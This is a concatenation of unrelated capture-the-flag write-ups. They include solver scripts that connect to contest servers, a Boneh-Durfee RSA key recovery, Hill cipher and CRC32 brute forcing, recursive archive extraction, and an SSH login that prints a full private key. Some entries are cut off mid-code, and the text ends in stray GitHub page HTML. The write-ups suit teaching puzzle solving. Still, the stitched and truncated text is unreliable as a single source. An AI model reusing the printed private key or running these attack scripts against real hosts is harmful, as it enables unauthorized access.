__isoc99_scanf(); key = C(x,i); if ((int)key != local_1c) { flag = false; } i = i + 1; } if (flag) { system("cat flag.txt"); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}``` I assumed the `__isoc99_scanf()` call wrote into `local_1c`. Usually, there should be parameters given for the `__isoc99_scanf()` (or atleast in IDA). Assuming the previous, it is clear that we are given a challenge `x` times, where `x` is the randomly generated number from `display_number`. At each iteration, the challenge generates `key` using function call `C(x, i)` and checks that the user input matches. If the `flag` remains `true` after the challenges, we get the flag. If any of the user's answers are incorrect, the `flag` is set to false. So, if we understand how `C` (below) works, we can automate the process of answering the challenges. ```Clong C(int x,int i) { long a; long b; long c; a = f(x); b = f(i); c = f(x - i); return a / (b * c);}``` I then looked at `f`. ```Clong f(int d) { int i; long result; result = 1; i = 2; while (i <= d) { result = i * result; i = i + 1; } return result;}``` It turned out that `f` is the factorial function and `C` is nCr, nCk, binomial coefficients, etc... Understanding the executable better, we wrote the following script. ## SolutionThe following script defines a function for computing nCr and uses it to interact and solve the challenges from `./blaise`. ```Pythonfrom pwn import *import operator as opfrom functools import reduce def ncr(n, r): r = min(r, n-r) num = reduce(op.mul, range(n, n-r, -1), 1) den = reduce(op.mul, range(1, r+1), 1) return num // den target = remote("chall.csivit.com", 30808)# local# target = process("./blaise") line = int(target.recvline().strip().split()[0])for i in range(line+1): result = ncr(line, i) target.sendline(str(result)) print(target.recvuntil("}"))``` Running this got us the flag! ```Shelld@d:~/$ python3 solver.py[+] Opening connection to chall.csivit.com on port 30808: Doneb"csictf{y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}"```
# Bizarro ### Challenge Text >This thing looks... bizarre? Can you find any secrets it may have? >Download the file below. ### Challenge Work We are given a file named `bizarro` which is a zip file. Looking inside we can drill down to a diretory that *only* contains a `.bzr` directory. Taking a hint from the name of the challenge and using `cat` on the `README` in `.bzr` we can dedude that this is a `Bazaar` challenge (https://bazaar.canonical.com/en/). Looking in `bzr help` we can see that there are ways to view the logs. `bzr log -p` gives a bunch of information, showing the saving and creating of a ton of files. `bzr` also seems to have a `cat` command and the help page shows us we can view the contents of a file at a particular revision number. Reading `bzr log -p` shows us that every other entry is the creation of a file, while the others are the deletion of that file. Since it is exactly every other one, we can just grab all of the filenames from `bzr log -p` and check the contents of all of them in their given revision number: ```pwnbot :: b/bizzaro/bizarre % bzr log -p | grep added | awk '{print $4}' | tr "'" "\n" | grep -v "^$" > filenames.txt``` ```pythonimport subprocess file_names = open( "./filenames.txt", "r" ).readlines() reversed_lines = file_names[::-1] count = 1 for i in reversed_lines: print(subprocess.getoutput(f"bzr cat -r {count} {i}")) count += 2``` After several iterations we get our flag: > flag{is_bazaar_bizarre_or_is_it_just_me}
This was a network task which provided us with a pcap file that had a hidden flag inside of it. In this situation I used wireshark to crack the flag - check out my original writeup for the walkthrough.
Template Shack was a challenge worth 150 points in the 2020 Hacktivitycon CTF. The template shack appears to be some sort of online shop for bootsrap themes. The site seems to be mostly static and placeholder code. The only thing of note in the source code for the page is a comment that hints at some administration panel that is under construction. ``` html
## Private Investigator We have hired you to help investigate this private key. Please use it to connect to the server like so:##### ssh -i id_rsa [email protected] -p 50004 --- Solution 1. Let's download given ssh private key 2. try to connect to the remote machine using private key type `ssh [email protected] -p 50004 -i id_rsa` and see that message: > load pubkey "id_rsa": invalid format> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@> @ WARNING: UNPROTECTED PRIVATE KEY FILE! @> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@> Permissions 0666 for 'id_rsa' are too open.> It is required that your private key files are NOT accessible by others.> This private key will be ignored.> Load key "id_rsa": bad permissions> [email protected]'s password: 3. private key is invalid , let's see one: > -----BEGIN OPENSSH PRIVATE KEY-----> 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> hokSgOriX8OuITAAAACmpvaG5AeHBzMTU=> -----END OPENSSH PRIVATE KEY----- 4. it's openssh private key, but we need RSA private key , so let's translate it to RSA: `puttygen id_rsa -O private-sshcom -o newkey` `ssh-keygen -i -f newkey > newkey_in_right_format` 5. We got RSA private , let's run command: `ssh [email protected] -p 50004 -i newkey_in_right_format ` and see that message: > Permissions 0644 for 'newkey_in_right_format2' are too open. > It is required that your private key files are NOT accessible by others. > This private key will be ignored. > Load key "newkey_in_right_format2": bad permissions 6. let's change access right:` chmod 400 newkey_in_right_format ` 7. run command: `ssh [email protected] -p 50004 -i newkey_in_right_format ` again , connect to remote machine and see file flag.txt 8. cat flag.txt flag{dont_ever_forget_that_newline}
The flag is encrypted using [Hill cipher](https://en.wikipedia.org/wiki/Hill_cipher), in which every block of 3 is multiplied by a 3x3 matrix. The official way to solve it is by solving a system of equations (using [Gaussian elimination](https://en.wikipedia.org/wiki/Gaussian_elimination) or similar methods). Or it can be solved by bruteforcing all trigram conbinations, which is easier to implement :P Modification of theclimb.java to allow us to reuse the code (you need to rename it to Main.java or remove the public access modifier for it to compile):```public String res(int len){ String res = ""; for (int i = 0; i < len; i++) { res += (char) (rmatrix[i] + 97); } //System.out.print(res); return res;}``` And here's the solver code:```public class ClimbSolver { static String encrypted = "lrzlhhombgichae"; static String key = "gybnqkurp"; public static void brute(int startPos) { int size = (int) Math.sqrt(key.length()); String encChunk = encrypted.substring(startPos, startPos + size); Main obj = new Main(); obj.keyconv(key, size); for (char a = 'a'; a <= 'z'; a++) for (char b = 'a'; b <= 'z'; b++) for (char c = 'a'; c <= 'z'; c++) { String text = "" + a + b + c; obj.textconv(text); obj.multiply(text.length()); String res = obj.res(text.length()); if (res.equals(encChunk)) { System.out.print(text); } } } public static void main(String[] args) { for (int i = 0; i < encrypted.length(); i += 3) { brute(i); } System.out.println(); }}``` Output: ```hillshaveeyesxx``` Flag: `csictf{hillshaveeyes}`
```pythonimport socket, time sock = socket.socket()sock.connect(('jh2i.com', 50003))time.sleep(1)data = sock.recv(1024).replace(b'\r', b'').decode()print(data)``` solution script: [solution.py](https://github.com/wetox-team/writeup/blob/master/hacktivitycon/internet_cattos/solution.py) flag is `flag{this_netcat_says_meow}`
The title sounds familiar, isn't it ? After seeing the title it was obvious that it has do to something with rainbow tables. A rainbow table is a precomputed table for caching the output of cryptographic hash functions, usually for cracking password hashes. Basically, they are already hashed passwords used to crack password hashes. After opening the file it was indeed a some hashed strings. It can be decrypted with a online decryptor such as [CrackStation]( https://crackstation.net) or you can use any other. Flag : ``` rgbCTF{alw4ys_us3_s4lt_wh3n_h4shing}```
# Bon Appetit```Wow, look at the size of that! There is just so much to eat! Download the file below.```[prompt.txt](prompt.txt) Look in the `prompt.txt` is obviously a **RSA crypto challenge**```pyn = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902```Look at the size of public key (e) is very large, and the challenge title It seems like vulnerable to **Boneh Durfee Attack** The script for Boneh Durfee I use is in this [github](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage) Because the sage uses Python3 so I need to edit some print statement And I run it at this [Sage online website](https://sagecell.sagemath.org/) Then I change the `N` and `e` variable:```py # the modulusN = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619# the public exponente = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723```Then click the `Evaluate` Button Unfortunately, no solution found:```Share=== checking values ===* delta: 0.180000000000000* delta < 0.292 True* size of e: 1021* size of N: 1022* m: 4 , t: 2=== running algorithm ===* removing unhelpful vector 06 / 18 vectors are not helpfuldet(L) < e^(m*n) (good! If a solution exists < N^delta, it )will be found......optimizing basis of the lattice via LLL, this can take a long timeLLL is done!looking for independent vectors in the latticefound them, using vectors 0 and 1Your prediction (delta) is too small=== no solution was found ====== 0.2721996307373047 seconds ===``` Then I try increase the value of `delta` and `m` And I get a solution! When `delta = .23` and `m = 7`:```Share=== checking values ===* delta: 0.230000000000000* delta < 0.292 True* size of e: 1021* size of N: 1022* m: 7 , t: 3=== running algorithm ===* removing unhelpful vector 016 / 47 vectors are not helpfuldet(L) < e^(m*n) (good! If a solution exists < N^delta, it )will be found......optimizing basis of the lattice via LLL, this can take a long timeLLL is done!looking for independent vectors in the latticefound them, using vectors 0 and 1=== solution found ===private key found: 5448511435693918250863484721514292687178096328572373396537572878464059764348289027=== 8.640573978424072 seconds ===```Then I can calculate the plaintext using private key (d):```pyfrom Crypto.Util.number import *n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902d = 5448511435693918250863484721514292687178096328572373396537572878464059764348289027 print(long_to_bytes(pow(c,d,n)))```[Sage script](solve.sage) [Python script](solve.sage) Thats the flag!!! ## Flag```flag{bon_appetit_that_was_one_big_meal}```
# Tootsie Pop Author: [roerohan](https://github.com/roerohan) # Requirements - Python # Source ```How many licks does it take to get to the center of a tootsie pop? Download the file below.``` - [pop.zip](./pop.zip) # Exploitation The flag has been compressed recursively with various types of compressing tools, namely 'xz', 'zip', 'bzip', 'gzip'. You can write a script to use the `file` command to find out the compression type of the current file and decompress it depending upon the type of compression. ```pythonimport subprocessimport os filetypes = ['xz', 'zip', 'bzip', 'gzip'] while True: x = subprocess.check_output('ls', shell=True).decode().split('\n')[0] print(x) y = subprocess.check_output(f'file {x}', shell=True).decode() print(y) if 'gzip' in y: if not x.endswith('.gz'): os.system(f'mv {x} {x}.gz') x = f'{x}.gz' os.system(f'gunzip {x}') print('Uncompressed gzip') if 'XZ' in y: if not x.endswith('.xz'): os.system(f'mv {x} {x}.xz') x = f'{x}.xz' os.system(f'unxz {x}') print('Uncompressed xz') if 'bzip2' in y: if not x.endswith('.bz2'): os.system(f'mv {x} {x}.bz2') x = f'{x}.bz2' os.system(f'bzip2 -d {x}') print('Uncompressed bz2') if 'Zip' in y: if not x.endswith('.zip'): os.system(f'mv {x} {x}.zip') x = f'{x}.zip' os.system(f'unzip {x}') print('Uncompressed zip') os.system(f'mv {x} trash/{x}') if 'ASCII' in y: os.system(f'cat {x}') break``` Remember to have a `trash` folder in the same directory as your script. Once it decompresses all, it gives you the flag in a file called `8c4be4`. ```bash$ python script.py......flag{the_answer_is_1548_licks}``` The flag is: ```flag{the_answer_is_1548_licks}```
3 steps of simple reversing1. Hardcode key string from strncmp2. Optimize C++ template3. Use uncompyle6 to get python function code and copy flag ord list
## Description Flick will pay 390 bells for this cricket. ## Included Files cricket32.S ## Writeup It was a nice change of pace from all of the other pwn/re/kernel exploit challenges in this competition to just get a small assembly source code to work with. I started off by compiling it and running it through radare2 to see what was going on as we stepped through the program. If you're used to only reversing compiled C binaries then this was a bit different. No library or system calls, several instructions that aren't typically produced by gcc, and just some general ways of doing certain routines that you just wouldn't see from compiled C code. For instance, one of the first things you get into in the program is this loop: ![strlen loop](r21.png) In typical compiled code you would expect ebp to serve its purpose of pointing to the base of the stack, and anything done do it would be in service of that purpose. However, this program doesn't really make use of the stack at all, so ebp instead gets used as an index to the string you pass in as an argument, and ultimately as a determinant of how long that string is. The goal at this point of the program is that we want to have input a string that is longer than 26 characters in length so that we pass that jg check and skip over getting slapped with the "nope" string and proceed to see what else the challenge has to offer in this loop: ![crc32 loop](r22.png) Here we get into the real meat and potatoes of the program, and at first it doesn't make much sense. But to attempt to walk through what's going on: ebx holds the address to another point in the program (not a string, not any particular data, nor function, but just a point to some instructions). It loads the first two instruction bytecodes into the low bytes of edx, then changes the byte order of edx, loads the next two bytecodes from the position ebx points to, swaps those lower bytes with each other, and then moves ebx ahead 13 bytes for the next time it gets called in the loop. Then edx, the garbled up mess of instruction byte codes from who knows where in the program, gets passed as the destination register for a call to the builtin crc32 instruction with a double word from our passed in flag as the source. I really had to step through to figure out what was going to happen next. Here is edx before the crc32 instruction executes with all of its little swapped around bytecodes: ![edx before](r23.png) And here it is after: ![edx after](r24.png) Which, is the first four bytes of the flag I passed in, "uiuc", which we knew to at least be the beginning of the flag. Then edx gets xor'd against those same four bytes and or'd onto edi, which later gets checked whether or not it's 0 when decided whether the flag was correct or not. So, what kuilin, who wrote this, did is find a consistent series of bytecodes in the binary itself to grab and manipulate, and then use in executing the crc32 instruction with four bytes from the flag that would result in the exact same four bytes as the flag you input! For each four byte segment of the flag! After getting a decent understanding of what was going on I stepped through it a couple of times with a few a different inputs to make sure that the values being set for edx were the same every time, and recorded what they were. With all of that set up I just made a little function with some inline assembly to make use of the crc32 instruction and a check to see whether the input was right or not: bool crc_check(int constant, int seg) { int result; __asm__( "crc32 %%ebx, %%eax\n" :"=a"(result) :"b"(seg), "a"(constant) ); if ((result ^ seg) == 0) { return true; } return false; } Then it was just a simple matter of brute forcing it along with some already known values. To speed things up on the first go through I crossed my fingers hoping that the flag would just be lowercase and underscores, which ended up working out for me in the end. Note: I know these nested if statements are a mess, please don't judge me for them. int main() { int constants[7] = {0x4c10e5f7, 0xf357d2d6, 0x373724ff, 0x90bbb46c, 0x34d98bf6, 0xd79ee67d, 0xaa79007c}; int flag[7] = {0x63756975, 0x617b6674, 0x5f5f5f5f, 0x5f5f5f5f, 0x5f5f5f5f, 0x5f5f5f5f, 0x007d5f5f}; for (int i = 0; i < 7; ++i) { while (!crc_check(constants[i], flag[i])) { flag[i]++; if ((flag[i] & 0x000000ff) == 0x0000007e) { flag[i] &= 0xffffff5f; flag[i] += 0x100; if ((flag[i] & 0x0000ff00) == 0x7e00) { flag[i] &= 0xffff5fff; flag[i] += 0x10000; if ((flag[i] & 0x00ff0000) == 0x7e0000) { flag[i] &= 0xff5fffff; flag[i] += 0x1000000; } } } printf("%08x\r", flag[i]); } printf("%08x\n", flag[i]); } return 0; } And just like that I got some results. ![results](out.png)
![](https://nullarmor.github.io/assets/ctf/hacktivitycon/2020/pancakes/pancakes-00-d0dec170973f53d2a71e9f173a780fa9ef2e59e359d011557fb770a7d4c2be42.jpg) Pancakes was a very easy pwn challenge, there’s nothing special about this challenge but for someone that is starting to pwn it’s a good lesson, I played this CTF just for fun with my team, 0x8Layer :) Full write-up is available on: [https://nullarmor.github.io/posts/hacktivitycon-pancakes](https://nullarmor.github.io/posts/hacktivitycon-pancakes)
# Cold War Author: [roerohan](https://github.com/roerohan) # Requirements - Morse Decoder # Source ```I didn't think he was a genius, I knew he had to be a cheat. He was always sitting down, he never got up. Batting his eyelids in the most unnatural way. Then I understood it. Note, this flag is not in the usual format. Download the file below.``` - [morse.wav](./morse.wav) # Exploitation Decode the morse code audio (I used an online decoder at [morsecode.world](https://morsecode.world/international/decoder/audio-decoder-adaptive.html)). You get something along the lines of `ARCANGELORICCIARDI`. Maybe it's a bit distorted sometimes, but when you search it up on google, you see that Arcangelo Ricciardi was accused of cheating in a game of chess by using morse code. The flag is: ```ARCANGELORICCIARDI```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> 